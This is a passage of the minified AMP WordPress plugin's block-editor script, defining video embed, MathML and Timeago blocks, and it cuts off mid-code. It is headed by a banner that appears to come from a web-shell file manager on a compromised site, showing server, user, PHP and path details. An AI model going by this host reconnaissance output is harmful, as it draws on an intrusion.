|
Server : LiteSpeed System : Linux srv107862549.host 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64 User : malam2778 ( 1069) PHP Version : 8.0.30 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory : /home/slot167.net/public_html/wp-content__ad91225/plugins/amp/assets/js/ |
Upload File : |
(()=>{var e={610:(e,t,a)=>{var i={"./amp-brid-player/index.js":519,"./amp-ima-video/index.js":337,"./amp-jwplayer/index.js":992,"./amp-mathml/index.js":279,"./amp-o2-player/index.js":819,"./amp-ooyala-player/index.js":1,"./amp-reach-player/index.js":475,"./amp-springboard-player/index.js":211,"./amp-timeago/index.js":831};function r(e){var t=o(e);return a(t)}function o(e){if(!a.o(i,e)){var t=new Error("Cannot find module '"+e+"'");throw t.code="MODULE_NOT_FOUND",t}return i[e]}r.keys=function(){return Object.keys(i)},r.resolve=o,e.exports=r,r.id=610},807:(e,t,a)=>{var i={"./amp-preview-item.js":561,"./post-status-info.js":815,"./pre-publish-panel.js":569};function r(e){var t=o(e);return a(t)}function o(e){if(!a.o(i,e)){var t=new Error("Cannot find module '"+e+"'");throw t.code="MODULE_NOT_FOUND",t}return i[e]}r.keys=function(){return Object.keys(i)},r.resolve=o,e.exports=r,r.id=807},519:(e,t,a)=>{"use strict";a.r(t),a.d(t,{name:()=>n,settings:()=>d});var i=a(723),r=a(715),o=a(427),s=a(95),l=a(790);const n="amp/amp-brid-player",d={title:(0,i.__)("AMP Brid Player","amp"),description:(0,i.__)("Displays the Brid Player used in Brid.tv Video Platform.","amp"),category:"embed",icon:"embed-generic",keywords:[(0,i.__)("Embed","amp")],attributes:{autoPlay:{type:"boolean"},dataPartner:{source:"attribute",selector:"amp-brid-player",attribute:"data-partner"},dataPlayer:{source:"attribute",selector:"amp-brid-player",attribute:"data-player"},dataVideo:{source:"attribute",selector:"amp-brid-player",attribute:"data-video"},dataPlaylist:{source:"attribute",selector:"amp-brid-player",attribute:"data-playlist"},dataOutstream:{source:"attribute",selector:"amp-brid-player",attribute:"data-outstream"},ampLayout:{default:"responsive",source:"attribute",selector:"amp-brid-player",attribute:"layout"},width:{type:"number",default:600},height:{default:400,source:"attribute",selector:"amp-brid-player",attribute:"height"}},edit:e=>{const{attributes:t,setAttributes:a}=e,{autoPlay:n,dataPartner:d,dataPlayer:p,dataVideo:u,dataPlaylist:m,dataOutstream:c}=t,h=[{value:"responsive",label:(0,i.__)("Responsive","amp")},{value:"fixed-height",label:(0,i.__)("Fixed Height","amp")},{value:"fixed",label:(0,i.__)("Fixed","amp")},{value:"fill",label:(0,i.__)("Fill","amp")},{value:"flex-item",label:(0,i.__)("Flex-item","amp")},{value:"nodisplay",label:(0,i.__)("No Display","amp")}];let b=!1;return d&&p&&(u||m||c)&&(b=`http://cdn.brid.tv/live/partners/${d}`),(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(r.InspectorControls,{children:(0,l.jsxs)(o.PanelBody,{title:(0,i.__)("Brid Player Settings","amp"),children:[(0,l.jsx)(o.TextControl,{label:(0,i.__)("Partner ID (required)","amp"),value:d,onChange:e=>a({dataPartner:e})}),(0,l.jsx)(o.TextControl,{label:(0,i.__)("Player ID (required)","amp"),value:p,onChange:e=>a({dataPlayer:e})}),(0,l.jsx)(o.TextControl,{label:(0,i.__)("Video ID (one of video / playlist / outstream ID is required)","amp"),value:u,onChange:e=>a({dataVideo:e})}),(0,l.jsx)(o.TextControl,{label:(0,i.__)("Outstream unit ID (one of video / playlist / outstream ID is required)","amp"),value:c,onChange:e=>a({dataOutstream:e})}),(0,l.jsx)(o.TextControl,{label:(0,i.__)("Playlist ID (one of video / playlist / outstream ID is required)","amp"),value:m,onChange:e=>a({dataPlaylist:e})}),(0,l.jsx)(o.ToggleControl,{label:(0,i.__)("Autoplay","amp"),checked:n,onChange:()=>a({autoPlay:!n}),__nextHasNoMarginBottom:!0}),(0,l.jsx)(s.r3,{...e,ampLayoutOptions:h})]})}),b&&(0,l.jsx)(s.Ud,{name:(0,i.__)("Brid Player","amp"),url:b}),!b&&(0,l.jsx)(o.Placeholder,{label:(0,i.__)("Brid Player","amp"),children:(0,l.jsx)("p",{children:(0,i.__)("Add required data to use the block.","amp")})})]})},save:({attributes:e})=>{const{dataPlayer:t,dataOutstream:a,dataPartner:i,ampLayout:r,width:o,height:s,dataVideo:n,autoPlay:d,dataPlaylist:p}=e,u={layout:r,height:s,"data-player":t,"data-partner":i};return"fixed-height"!==r&&o&&(u.width=o),p&&(u["data-playlist"]=p),n&&(u["data-video"]=n),a&&(u["data-outstream"]=a),d&&(u.autoplay=d),(0,l.jsx)("amp-brid-player",{...u})}}},337:(e,t,a)=>{"use strict";a.r(t),a.d(t,{name:()=>n,settings:()=>d});var i=a(723),r=a(715),o=a(427),s=a(95),l=a(790);const n="amp/amp-ima-video",d={title:(0,i.__)("AMP IMA Video","amp"),description:(0,i.__)("Embeds a video player for instream video ads that are integrated with the IMA SDK","amp"),category:"embed",icon:"embed-generic",keywords:[(0,i.__)("Embed","amp")],attributes:{dataDelayAdRequest:{default:!1,source:"attribute",selector:"amp-ima-video",attribute:"data-delay-ad-request"},dataTag:{source:"attribute",selector:"amp-ima-video",attribute:"data-tag"},dataSrc:{source:"attribute",selector:"amp-ima-video",attribute:"data-src"},dataPoster:{source:"attribute",selector:"amp-ima-video",attribute:"data-poster"},ampLayout:{default:"responsive",source:"attribute",selector:"amp-ima-video",attribute:"layout"},width:{default:600,source:"attribute",selector:"amp-ima-video",attribute:"width"},height:{default:400,source:"attribute",selector:"amp-ima-video",attribute:"height"}},edit:e=>{const{attributes:t,setAttributes:a}=e,{dataDelayAdRequest:n,dataTag:d,dataSrc:p,dataPoster:u}=t,m=[{value:"responsive",label:(0,i.__)("Responsive","amp")},{value:"fixed",label:(0,i.__)("Fixed","amp")}];let c=!1;return d&&p&&(c=!0),(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(r.InspectorControls,{children:(0,l.jsxs)(o.PanelBody,{title:(0,i.__)("IMA Video Settings","amp"),children:[(0,l.jsx)(o.TextControl,{label:(0,i.__)("HTTPS URL for your VAST ad document (required)","amp"),value:d,onChange:e=>a({dataTag:e})}),(0,l.jsx)(o.TextControl,{label:(0,i.__)("HTTPS URL of your video content (required)","amp"),value:p,onChange:e=>a({dataSrc:e})}),(0,l.jsx)(o.TextControl,{label:(0,i.__)("HTTPS URL to preview image","amp"),value:u,onChange:e=>a({dataPoster:e})}),(0,l.jsx)(o.ToggleControl,{label:(0,i.__)("Delay Ad Request","amp"),checked:n,onChange:()=>a({dataDelayAdRequest:!n}),__nextHasNoMarginBottom:!0}),(0,l.jsx)(s.r3,{...e,ampLayoutOptions:m})]})}),c&&(0,l.jsx)(s.Ud,{name:(0,i.__)("IMA Video","amp"),url:p}),!c&&(0,l.jsx)(o.Placeholder,{label:(0,i.__)("IMA Video","amp"),children:(0,l.jsx)("p",{children:(0,i.__)("Add required data to use the block.","amp")})})]})},save:({attributes:e})=>{const{width:t,dataSrc:a,ampLayout:i,dataTag:r,dataDelayAdRequest:o,height:s,dataPoster:n}=e,d={layout:i,height:s,width:t,"data-tag":r,"data-src":a};return n&&(d["data-poster"]=n),o&&(d["data-delay-ad-request"]=o),(0,l.jsx)("amp-ima-video",{...d})}}},992:(e,t,a)=>{"use strict";a.r(t),a.d(t,{name:()=>n,settings:()=>d});var i=a(723),r=a(715),o=a(427),s=a(95),l=a(790);const n="amp/amp-jwplayer",d={title:(0,i.__)("AMP JW Player","amp"),description:(0,i.__)("Displays a cloud-hosted JW Player.","amp"),category:"embed",icon:"embed-generic",keywords:[(0,i.__)("Embed","amp")],attributes:{dataPlayerId:{source:"attribute",selector:"amp-jwplayer",attribute:"data-player-id"},dataMediaId:{source:"attribute",selector:"amp-jwplayer",attribute:"data-media-id"},dataPlaylistId:{source:"attribute",selector:"amp-jwplayer",attribute:"data-playlist-id"},ampLayout:{default:"responsive",source:"attribute",selector:"amp-jwplayer",attribute:"layout"},width:{default:600,source:"attribute",selector:"amp-jwplayer",attribute:"width"},height:{default:400,source:"attribute",selector:"amp-jwplayer",attribute:"height"}},edit:e=>{const{attributes:t,setAttributes:a}=e,{dataPlayerId:n,dataMediaId:d,dataPlaylistId:p}=t,u=[{value:"responsive",label:(0,i.__)("Responsive","amp")},{value:"fixed-height",label:(0,i.__)("Fixed Height","amp")},{value:"fixed",label:(0,i.__)("Fixed","amp")},{value:"fill",label:(0,i.__)("Fill","amp")},{value:"flex-item",label:(0,i.__)("Flex-item","amp")},{value:"nodisplay",label:(0,i.__)("No Display","amp")}];let m=!1;return n&&(d||p)&&(m=p?`https://content.jwplatform.com/players/${p}-${n}`:`https://content.jwplatform.com/players/${d}-${n}`),(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(r.InspectorControls,{children:(0,l.jsxs)(o.PanelBody,{title:(0,i.__)("JW Player Settings","amp"),children:[(0,l.jsx)(o.TextControl,{label:(0,i.__)("Player ID (required)","amp"),value:n,onChange:e=>a({dataPlayerId:e})}),(0,l.jsx)(o.TextControl,{label:(0,i.__)("Media ID (required if playlist ID not set)","amp"),value:d,onChange:e=>a({dataMediaId:e})}),(0,l.jsx)(o.TextControl,{label:(0,i.__)("Playlist ID (required if media ID not set)","amp"),value:p,onChange:e=>a({dataPlaylistId:e})}),(0,l.jsx)(s.r3,{...e,ampLayoutOptions:u})]})}),m&&(0,l.jsx)(s.Ud,{name:(0,i.__)("JW Player","amp"),url:m}),!m&&(0,l.jsx)(o.Placeholder,{label:(0,i.__)("JW Player","amp"),children:(0,l.jsx)("p",{children:(0,i.__)("Add required data to use the block.","amp")})})]})},save:({attributes:e})=>{const{width:t,height:a,ampLayout:i,dataPlaylistId:r,dataPlayerId:o,dataMediaId:s}=e,n={layout:i,height:a,"data-player-id":o};return"fixed-height"!==i&&t&&(n.width=t),r&&(n["data-playlist-id"]=r),s&&(n["data-media-id"]=s),(0,l.jsx)("amp-jwplayer",{...n})}}},279:(e,t,a)=>{"use strict";a.r(t),a.d(t,{name:()=>s,settings:()=>l});var i=a(723),r=a(715),o=a(790);const s="amp/amp-mathml",l={title:(0,i.__)("AMP MathML","amp"),category:"common",icon:"welcome-learn-more",keywords:[(0,i.__)("Mathematical formula","amp"),(0,i.__)("Scientific content","amp")],attributes:{dataFormula:{source:"attribute",selector:"amp-mathml",attribute:"data-formula"}},edit:({attributes:e,setAttributes:t})=>{const{dataFormula:a}=e;return(0,o.jsx)(r.PlainText,{value:a,placeholder:(0,i.__)("Insert formula","amp"),onChange:e=>t({dataFormula:e})})},save:({attributes:e})=>{const{dataFormula:t}=e,a={"data-formula":t,layout:"container"};return(0,o.jsx)("amp-mathml",{...a})}}},819:(e,t,a)=>{"use strict";a.r(t),a.d(t,{name:()=>n,settings:()=>d});var i=a(723),r=a(715),o=a(427),s=a(95),l=a(790);const n="amp/amp-o2-player",d={title:(0,i.__)("AMP O2 Player","amp"),category:"embed",icon:"embed-generic",keywords:[(0,i.__)("Embed","amp"),(0,i.__)("AOL O2Player","amp")],attributes:{dataPid:{source:"attribute",selector:"amp-o2-player",attribute:"data-pid"},dataVid:{source:"attribute",selector:"amp-o2-player",attribute:"data-vid"},dataBcid:{source:"attribute",selector:"amp-o2-player",attribute:"data-bcid"},dataBid:{source:"attribute",selector:"amp-o2-player",attribute:"data-bid"},autoPlay:{default:!1},ampLayout:{default:"responsive",source:"attribute",selector:"amp-o2-player",attribute:"layout"},width:{default:600,source:"attribute",selector:"amp-o2-player",attribute:"width"},height:{default:400,source:"attribute",selector:"amp-o2-player",attribute:"height"}},edit:e=>{const{attributes:t,setAttributes:a}=e,{autoPlay:n,dataPid:d,dataVid:p,dataBcid:u,dataBid:m}=t,c=[{value:"responsive",label:(0,i.__)("Responsive","amp")},{value:"fixed-height",label:(0,i.__)("Fixed Height","amp")},{value:"fixed",label:(0,i.__)("Fixed","amp")},{value:"fill",label:(0,i.__)("Fill","amp")},{value:"flex-item",label:(0,i.__)("Flex-item","amp")},{value:"nodisplay",label:(0,i.__)("No Display","amp")}];let h=!1;return d&&(u||p)&&(h=`https://delivery.vidible.tv/htmlembed/pid=${d}/`),(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(r.InspectorControls,{children:(0,l.jsxs)(o.PanelBody,{title:(0,i.__)("O2 Player Settings","amp"),children:[(0,l.jsx)(o.TextControl,{label:(0,i.__)("Player ID (required)","amp"),value:d,onChange:e=>a({dataPid:e})}),(0,l.jsx)(o.TextControl,{label:(0,i.__)("Buyer Company ID (either buyer or video ID is required)","amp"),value:u,onChange:e=>a({dataBcid:e})}),(0,l.jsx)(o.TextControl,{label:(0,i.__)("Video ID (either buyer or video ID is required)","amp"),value:p,onChange:e=>a({dataVid:e})}),(0,l.jsx)(o.TextControl,{label:(0,i.__)("Playlist ID","amp"),value:m,onChange:e=>a({dataBid:e})}),(0,l.jsx)(o.ToggleControl,{label:(0,i.__)("Autoplay","amp"),checked:n,onChange:()=>a({autoPlay:!n}),__nextHasNoMarginBottom:!0}),(0,l.jsx)(s.r3,{...e,ampLayoutOptions:c})]})}),h&&(0,l.jsx)(s.Ud,{name:(0,i.__)("O2 Player","amp"),url:h}),!h&&(0,l.jsx)(o.Placeholder,{label:(0,i.__)("O2 Player","amp"),children:(0,l.jsx)("p",{children:(0,i.__)("Add required data to use the block.","amp")})})]})},save:({attributes:e})=>{const{dataPid:t,width:a,height:i,ampLayout:r,dataBid:o,autoPlay:s,dataBcid:n,dataVid:d}=e,p={layout:r,height:i,"data-pid":t};return"fixed-height"!==r&&a&&(p.width=a),s||(p["data-macros"]="m.playback=click"),d?p["data-vid"]=d:n&&(p["data-bcid"]=n),o&&(p["data-bid"]=o),(0,l.jsx)("amp-o2-player",{...p})}}},1:(e,t,a)=>{"use strict";a.r(t),a.d(t,{name:()=>n,settings:()=>d});var i=a(723),r=a(715),o=a(427),s=a(95),l=a(790);const n="amp/amp-ooyala-player",d={title:(0,i.__)("AMP Ooyala Player","amp"),description:(0,i.__)("Displays an Ooyala video.","amp"),category:"embed",icon:"embed-generic",keywords:[(0,i.__)("Embed","amp"),(0,i.__)("Ooyala video","amp")],attributes:{dataEmbedCode:{source:"attribute",selector:"amp-ooyala-player",attribute:"data-embedcode"},dataPlayerId:{source:"attribute",selector:"amp-ooyala-player",attribute:"data-playerid"},dataPcode:{source:"attribute",selector:"amp-ooyala-player",attribute:"data-pcode"},dataPlayerVersion:{default:"v3",source:"attribute",selector:"amp-ooyala-player",attribute:"data-playerversion"},ampLayout:{default:"responsive",source:"attribute",selector:"amp-ooyala-player",attribute:"layout"},width:{default:600,source:"attribute",selector:"amp-ooyala-player",attribute:"width"},height:{default:400,source:"attribute",selector:"amp-ooyala-player",attribute:"height"}},edit:e=>{const{attributes:t,setAttributes:a}=e,{dataEmbedCode:n,dataPlayerId:d,dataPcode:p,dataPlayerVersion:u}=t,m=[{value:"responsive",label:(0,i.__)("Responsive","amp")},{value:"fixed",label:(0,i.__)("Fixed","amp")},{value:"fill",label:(0,i.__)("Fill","amp")},{value:"flex-item",label:(0,i.__)("Flex-item","amp")}];let c=!1;return n&&d&&p&&(c=`http://cf.c.ooyala.com/${n}`),(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(r.InspectorControls,{children:(0,l.jsxs)(o.PanelBody,{title:(0,i.__)("Ooyala Settings","amp"),children:[(0,l.jsx)(o.TextControl,{label:(0,i.__)("Video embed code (required)","amp"),value:n,onChange:e=>a({dataEmbedCode:e})}),(0,l.jsx)(o.TextControl,{label:(0,i.__)("Player ID (required)","amp"),value:d,onChange:e=>a({dataPlayerId:e})}),(0,l.jsx)(o.TextControl,{label:(0,i.__)("Provider code for the account (required)","amp"),value:p,onChange:e=>a({dataPcode:e})}),(0,l.jsx)(o.SelectControl,{label:(0,i.__)("Player version","amp"),value:u,options:[{value:"v3",label:(0,i.__)("V3","amp")},{value:"v4",label:(0,i.__)("V4","amp")}],onChange:e=>a({dataPlayerVersion:e})}),(0,l.jsx)(s.r3,{...e,ampLayoutOptions:m})]})}),c&&(0,l.jsx)(s.Ud,{name:(0,i.__)("Ooyala Player","amp"),url:c}),!c&&(0,l.jsx)(o.Placeholder,{label:(0,i.__)("Ooyala Player","amp"),children:(0,l.jsx)("p",{children:(0,i.__)("Add required data to use the block.","amp")})})]})},save:({attributes:e})=>{const{dataEmbedCode:t,dataPlayerId:a,dataPcode:i,dataPlayerVersion:r,ampLayout:o,height:s,width:n}=e,d={layout:o,height:s,"data-embedcode":t,"data-playerid":a,"data-pcode":i,"data-playerversion":r};return"fixed-height"!==o&&n&&(d.width=n),(0,l.jsx)("amp-ooyala-player",{...d})}}},475:(e,t,a)=>{"use strict";a.r(t),a.d(t,{name:()=>n,settings:()=>d});var i=a(723),r=a(715),o=a(427),s=a(95),l=a(790);const n="amp/amp-reach-player",d={title:(0,i.__)("AMP Reach Player","amp"),description:(0,i.__)("Displays the Reach Player configured in the Beachfront Reach platform.","amp"),category:"embed",icon:"embed-generic",keywords:[(0,i.__)("Embed","amp"),(0,i.__)("Beachfront Reach video","amp")],attributes:{dataEmbedId:{source:"attribute",selector:"amp-reach-player",attribute:"data-embed-id"},ampLayout:{default:"fixed-height",source:"attribute",selector:"amp-reach-player",attribute:"layout"},width:{default:600,source:"attribute",selector:"amp-reach-player",attribute:"width"},height:{default:400,source:"attribute",selector:"amp-reach-player",attribute:"height"}},edit:e=>{const{attributes:t,setAttributes:a}=e,{dataEmbedId:n}=t,d=[{value:"responsive",label:(0,i.__)("Responsive","amp")},{value:"fixed-height",label:(0,i.__)("Fixed Height","amp")},{value:"fixed",label:(0,i.__)("Fixed","amp")},{value:"fill",label:(0,i.__)("Fill","amp")},{value:"flex-item",label:(0,i.__)("Flex-item","amp")}];let p=!1;return n&&(p="https://media-cdn.beachfrontreach.com/acct_1/video/"),(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(r.InspectorControls,{children:(0,l.jsxs)(o.PanelBody,{title:(0,i.__)("Reach Settings","amp"),children:[(0,l.jsx)(o.TextControl,{label:(0,i.__)("Embed ID (required)","amp"),value:n,onChange:e=>a({dataEmbedId:e})}),(0,l.jsx)(s.r3,{...e,ampLayoutOptions:d})]})}),p&&(0,l.jsx)(s.Ud,{name:(0,i.__)("Reach Player","amp"),url:p}),!p&&(0,l.jsx)(o.Placeholder,{label:(0,i.__)("Reach Player","amp"),children:(0,l.jsx)("p",{children:(0,i.__)("Add Reach player embed ID to use the block.","amp")})})]})},save:({attributes:e})=>{const{dataEmbedId:t,ampLayout:a,height:i,width:r}=e,o={layout:a,height:i,"data-embed-id":t};return"fixed-height"!==a&&r&&(o.width=r),(0,l.jsx)("amp-reach-player",{...o})}}},211:(e,t,a)=>{"use strict";a.r(t),a.d(t,{name:()=>n,settings:()=>d});var i=a(723),r=a(715),o=a(427),s=a(95),l=a(790);const n="amp/amp-springboard-player",d={title:(0,i.__)("AMP Springboard Player","amp"),description:(0,i.__)("Displays the Springboard Player used in the Springboard Video Platform","amp"),category:"embed",icon:"embed-generic",keywords:[(0,i.__)("Embed","amp")],attributes:{dataSiteId:{source:"attribute",selector:"amp-springboard-player",attribute:"data-site-id"},dataContentId:{source:"attribute",selector:"amp-springboard-player",attribute:"data-content-id"},dataPlayerId:{source:"attribute",selector:"amp-springboard-player",attribute:"data-player-id"},dataDomain:{source:"attribute",selector:"amp-springboard-player",attribute:"data-domain"},dataMode:{default:"video",source:"attribute",selector:"amp-springboard-player",attribute:"data-mode"},dataItems:{default:1,source:"attribute",selector:"amp-springboard-player",attribute:"data-items"},ampLayout:{default:"responsive",source:"attribute",selector:"amp-springboard-player",attribute:"layout"},width:{default:600,source:"attribute",selector:"amp-springboard-player",attribute:"width"},height:{default:400,source:"attribute",selector:"amp-springboard-player",attribute:"height"}},edit:e=>{const{attributes:t,setAttributes:a}=e,{dataSiteId:n,dataPlayerId:d,dataContentId:p,dataDomain:u,dataMode:m,dataItems:c}=t,h=[{value:"responsive",label:(0,i.__)("Responsive","amp")},{value:"fixed",label:(0,i.__)("Fixed","amp")},{value:"fill",label:(0,i.__)("Fill","amp")},{value:"flex-item",label:(0,i.__)("Flex-item","amp")}];let b=!1;return n&&p&&u&&m&&c&&(b="https://cms.springboardplatform.com/embed_iframe/"),(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(r.InspectorControls,{children:(0,l.jsxs)(o.PanelBody,{title:(0,i.__)("Springboard Player Settings","amp"),children:[(0,l.jsx)(o.TextControl,{label:(0,i.__)("Site ID (required)","amp"),value:n,onChange:e=>a({dataSiteId:e})}),(0,l.jsx)(o.TextControl,{label:(0,i.__)("Content ID (required)","amp"),value:p,onChange:e=>a({dataContentId:e})}),(0,l.jsx)(o.TextControl,{label:(0,i.__)("Player ID","amp"),value:d,onChange:e=>a({dataPlayerId:e})}),(0,l.jsx)(o.TextControl,{label:(0,i.__)("Springboard partner domain","amp"),value:u,onChange:e=>a({dataDomain:e})}),(0,l.jsx)(o.SelectControl,{label:(0,i.__)("Mode (required)","amp"),value:m,options:[{value:"video",label:(0,i.__)("Video","amp")},{value:"playlist",label:(0,i.__)("Playlist","amp")}],onChange:e=>a({dataMode:e})}),(0,l.jsx)(o.TextControl,{type:"number",label:(0,i.__)("Number of video is playlist (required)","amp"),value:c,onChange:e=>a({dataItems:e})}),(0,l.jsx)(s.r3,{...e,ampLayoutOptions:h})]})}),b&&(0,l.jsx)(s.Ud,{name:(0,i.__)("Springboard Player","amp"),url:b}),!b&&(0,l.jsx)(o.Placeholder,{label:(0,i.__)("Springboard Player","amp"),children:(0,l.jsx)("p",{children:(0,i.__)("Add required data to use the block.","amp")})})]})},save:({attributes:e})=>{const{dataSiteId:t,dataPlayerId:a,dataContentId:i,dataDomain:r,dataMode:o,dataItems:s,ampLayout:n,height:d,width:p}=e,u={layout:n,height:d,"data-site-id":t,"data-mode":o,"data-content-id":i,"data-player-id":a,"data-domain":r,"data-items":s};return"fixed-height"!==n&&p&&(u.width=e.width),(0,l.jsx)("amp-springboard-player",{...u})}}},831:(e,t,a)=>{"use strict";a.r(t),a.d(t,{name:()=>p,settings:()=>u});var i=a(723);const r=window.moment;var o=a.n(r),s=a(715),l=a(427),n=a(95),d=a(790);const p="amp/amp-timeago",u={title:(0,i.__)("AMP Timeago","amp"),category:"common",icon:"backup",keywords:[(0,i.__)("Time difference","amp"),(0,i.__)("Time ago","amp"),(0,i.__)("Date","amp")],attributes:{align:{type:"string"},cutoff:{source:"attribute",selector:"amp-timeago",attribute:"cutoff"},dateTime:{source:"attribute",selector:"amp-timeago",attribute:"datetime"},ampLayout:{default:"fixed-height",source:"attribute",selector:"amp-timeago",attribute:"layout"},width:{source:"attribute",selector:"amp-timeago",attribute:"width"},height:{default:20,source:"attribute",selector:"amp-timeago",attribute:"height"}},getEditWrapperProps(e){const{align:t}=e;if("left"===t||"right"===t||"center"===t)return{"data-align":t}},edit:e=>{const{attributes:t,setAttributes:a}=e,{align:r,cutoff:p,dateTime:u}=t;let m;u?m=p&&parseInt(p)<Math.abs(o()(u).diff(o()(),"seconds"))?o()(u).format("dddd D MMMM HH:mm"):o()(u).fromNow():(m=o()(Date.now()).fromNow(),a({dateTime:o()(o()(),o().ISO_8601,!0).format()}));const c=[{value:"",label:(0,i.__)("Responsive","amp")},{value:"fixed",label:(0,i.__)("Fixed","amp")},{value:"fixed-height",label:(0,i.__)("Fixed Height","amp")}];return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(s.InspectorControls,{children:(0,d.jsxs)(l.PanelBody,{title:(0,i.__)("AMP Timeago Settings","amp"),children:[(0,d.jsx)(l.DateTimePicker,{locale:"en",currentDate:u||o()(),onChange:e=>a({dateTime:o()(e,o().ISO_8601,!0).format()})}),(0,d.jsx)(n.r3,{...e,ampLayoutOptions:c}),(0,d.jsx)(l.TextControl,{type:"number",className:"blocks-amp-timeout__cutoff",label:(0,i.__)("Cutoff (seconds)","amp"),value:void 0!==p?p:"",onChange:e=>a({cutoff:e})})]})}),(0,d.jsx)(s.BlockControls,{children:(0,d.jsx)(s.BlockAlignmentToolbar,{value:r,onChange:e=>{a({align:e})},controls:["left","center","right"]})}),(0,d.jsx)("time",{dateTime:u,children:m})]})},save:({attributes:e})=>{const{ampLayout:t,width:a,height:i,align:r,cutoff:s,dateTime:l}=e,n={layout:"responsive",className:"align"+(r||"none"),datetime:l,locale:"en"};if(s&&(n.cutoff=s),t)switch(t){case"fixed-height":i&&(n.height=i,n.layout=t);break;case"fixed":i&&a&&(n.height=i,n.width=a,n.layout=t)}return(0,d.jsx)("amp-timeago",{...n,children:o()(e.dateTime).format("dddd D MMMM HH:mm")})}}},95:(e,t,a)=>{"use strict";a.d(t,{r3:()=>l,Ud:()=>s,QU:()=>p});var i=a(427),r=a(723),o=a(790);const s=({name:e,url:t})=>(0,o.jsxs)(i.Placeholder,{label:e,children:[(0,o.jsx)("p",{className:"components-placeholder__error",children:t}),(0,o.jsx)("p",{className:"components-placeholder__error",children:(0,r.__)("Previews for this are unavailable in the editor, sorry!","amp")})]}),l=({attributes:e,setAttributes:t,ampLayoutOptions:a})=>{const{ampLayout:s,height:l,width:n}=e,d=!l&&("fixed"===s||"fixed-height"===s),p=!n&&"fixed"===s;return(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(i.SelectControl,{label:(0,r.__)("Layout","amp"),value:s,options:a,onChange:e=>t({ampLayout:e})}),p&&(0,o.jsx)(i.Notice,{status:"error",isDismissible:!1,children:(0,r.sprintf)(/* translators: %s is the layout name */ /* translators: %s is the layout name */
(0,r.__)("Width is required for %s layout","amp"),s)}),(0,o.jsx)(i.TextControl,{type:"number",label:(0,r.__)("Width (px)","amp"),value:void 0!==n?n:"",onChange:e=>t({width:e})}),d&&(0,o.jsx)(i.Notice,{status:"error",isDismissible:!1,children:(0,r.sprintf)(/* translators: %s is the layout name */ /* translators: %s is the layout name */
(0,r.__)("Height is required for %s layout","amp"),s)}),(0,o.jsx)(i.TextControl,{type:"number",label:(0,r.__)("Height (px)","amp"),value:l,onChange:e=>t({height:e})})]})};var n=a(87),d=a(666);const p=(e,t)=>{if(!(0,n.isFunction)(e))return e;const{width:a,height:i}=t,r=()=>{const{wp:e}=window;return e.media.view.MediaFrame.Select.extend({createSelectToolbar(e,t){(t=t||this.options.button||{}).controller=this,t={...t,allowedTypes:(0,n.get)(this,["options","allowedTypes"],null)},e.view=new d.Hi(t)},featuredImageToolbar(t){this.createSelectToolbar(t,{text:e.media.view.l10n.setFeaturedImage,state:this.options.state})},editState(){const t=this.state("featured-image").get("selection"),a=new e.media.view.EditImage({model:t.single(),controller:this}).render();this.content.set(a),a.loadEditor()},createStates:function(){this.on("toolbar:create:featured-image",this.featuredImageToolbar,this),this.on("content:render:edit-image",this.editState,this);const t=e.media.controller.FeaturedImage.extend({defaults:{...e.media.controller.FeaturedImage.prototype.defaults,date:!1,filterable:!1,suggestedWidth:a,suggestedHeight:i}});this.states.add([new t,new e.media.controller.EditImage({model:this.options.editImage})])}})};return class extends e{buildAndSetFeatureImageFrame(){const{wp:e}=window,t=r(),a=(e=>{const{wp:t}=window;return t.media.query({order:"ASC",orderby:"post__in",post__in:e,posts_per_page:-1,query:!0,type:"image"})})(this.props.value),i=new e.media.model.Selection(a.models,{props:a.props.toJSON()});this.frame=new t({mimeType:this.props.allowedTypes,state:"featured-image",multiple:this.props.multiple,selection:i,editing:Boolean(this.props.value)}),e.media.frame=this.frame}}}},644:(e,t,a)=>{"use strict";a.d(t,{VP:()=>m,XL:()=>b,y9:()=>f,f3:()=>c,V9:()=>h});var i=a(87),r=a(723),o=a(427),s=a(715),l=a(143),n=a(468);const d=["core/paragraph","core/heading","core/code","core/quote","core/subhead"];var p=a(707),u=a(790);const m=(e,t)=>(0,i.isObject)(e)&&(0,i.isString)(t)?("core/gallery"===t&&(e.attributes||(e.attributes={}),e.attributes.ampCarousel={type:"boolean",default:!(0,l.select)("amp/block-editor")?.hasThemeSupport()},e.attributes.ampLightbox={type:"boolean",default:!1}),"core/image"===t&&(e.attributes||(e.attributes={}),e.attributes.ampLightbox={type:"boolean",default:!1}),e):e,c=(e,t)=>{if(!(0,i.isObject)(e)||!(0,i.isString)(t))return e;if(d.includes(t)){e.deprecated||(e.deprecated=[]);for(const t of e.deprecated)if(t.attributes&&t.attributes.ampFitText)return e;e.deprecated.push({supports:e.supports,attributes:{...e.attributes||{},ampFitText:{type:"boolean",default:!1},minFont:{default:p.v0,source:"attribute",selector:"amp-fit-text",attribute:"min-font-size"},maxFont:{default:p.l6,source:"attribute",selector:"amp-fit-text",attribute:"max-font-size"},height:{default:"core/image"===t?200:10*Math.ceil(p.l6/10),source:"attribute",selector:"amp-fit-text",attribute:"height"}},save(t){const{attributes:a}=t,i={layout:"fixed-height"};return a.minFont&&(i["min-font-size"]=a.minFont),a.maxFont&&(i["max-font-size"]=a.maxFont),a.height&&(i.height=a.height),i.children=e.save(t),(0,u.jsx)("amp-fit-text",{...i})},isEligible:({ampFitText:e})=>void 0!==e,migrate:e=>(["ampFitText","minFont","maxFont","height"].forEach((t=>delete e[t])),e)})}return e},h=e=>{if((0,n.isValidElement)(e)&&"amp-fit-text"===e.type&&void 